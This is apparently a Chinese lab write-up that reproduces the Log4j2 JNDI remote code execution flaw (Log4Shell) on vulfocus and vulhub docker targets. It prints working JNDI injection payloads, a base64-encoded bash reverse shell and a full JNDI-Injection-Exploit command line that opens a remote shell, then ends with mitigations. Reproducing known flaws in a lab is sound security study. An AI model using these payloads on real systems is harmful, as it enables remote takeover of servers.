介绍

Apache Log4j2是一个Java的日志组件,在特定的版本中由于其启用了lookup功能,从而导致产生远程代码执行漏洞。

影响版本:

复现

靶机环境

分别对 vulfocusvulhub 提供的docker镜像靶机进行测试。

验证漏洞存在

对于没有回显的漏洞,往往可以通过使用DNSLog来验证漏洞是否存在。但是由于该平台稳定性较差,可以使用其他类似的平台替代。如:https://dig.pm/https://dnslog.org/

对于vulfocus的镜像,注入点在请求参数payload中:

1
http://10.9.21.12:22234/hello?payload=111

首先在dnslog平台获取一个子域名,构造poc测试:

1
${jndi:ldap://49c01305.dnslog.store}

还可以构造查询java版本的poc:

1
${jndi:ldap://${java:version}.49c01305.dnslog.store}

需要注意的是,在请求中需要对参数进行URL编码!

在发送包含poc参数的请求后可以在dnslog平台看到响应,说明存在注入漏洞。

对于vulfocus的镜像,注入点可以在core创建页面的输入框中找到,其他同上。

反弹shell

使用工具 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 来启动LDAP、RMI和HTTP服务。

参数介绍:

原始的通过bash反弹shell的命令:

1
bash -i >& /dev/tcp/10.9.21.12/12315 0>&1

该代码需要经过base64编码:

1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45LjIxLjEyLzEyMzE1IDA+JjE=

最终使用的poc:

1
2
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45LjIxLjEyLzEyMzE1IDA+JjE=}|{base64,-d}|{bash,-i}" -A 10.9.21.12

原理分析

因为log4j提供了一个lookup的功能,它可以把一些系统变量放到日志中。

修复方案

  1. 升级log4j2到新版本(>2.14.1)。
  2. 更新java版本,或者设置jvm参数”-Dlog4j2.formatMsgNoLookups=true”。
  3. 设置系统环境变量”FORMAT_MESSAGES_PATTERN_DIS-ABLE_LOOKU_PS”为”true”。
  4. 关闭应用的网络外连。
  5. 使用WAF拦截恶意请求。